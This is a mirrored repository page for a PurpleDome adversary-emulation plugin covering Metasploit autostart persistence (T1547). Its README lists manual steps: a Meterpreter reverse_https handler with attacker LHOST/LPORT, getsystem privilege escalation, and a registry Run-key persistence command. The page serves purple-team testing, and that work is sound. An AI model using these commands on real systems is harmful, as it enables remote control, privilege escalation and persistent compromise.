archive
/
PurpleDome
mirror of https://github.com/avast/PurpleDome
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
develop
polishing2
presentation_gpn_2022
more_unit_tests
extending_page
main
caldera_4
Branches Tags
${ item.name }
Create tag ${ searchTerm }
Create branch ${ searchTerm }
from '00fe83d817'
${ noResults }
PurpleDome/plugins/default/metasploit_attacks/metasploit_autostart_t1547_1
History
Thorsten Sick e5e1ad2660 Metasploit autostart attacks T1547. Plugin. 3 years ago
..
README.md Metasploit autostart attacks T1547. Plugin. 3 years ago
default_config.yaml Metasploit autostart attacks T1547. Plugin. 3 years ago
metasploit_autostart_1.py Metasploit autostart attacks T1547. Plugin. 3 years ago

README.md

Manual operation

target: start babymetal.exe

attacker:

use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set LHOST 192.168.178.189 (YMMV) set LPORT 6666 (YMMV) run 100.64.0.25 on kali 100.64.0.25 on win

getsystem reg setval -k HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -v purpledome -d c:\windows\system32\calc.exe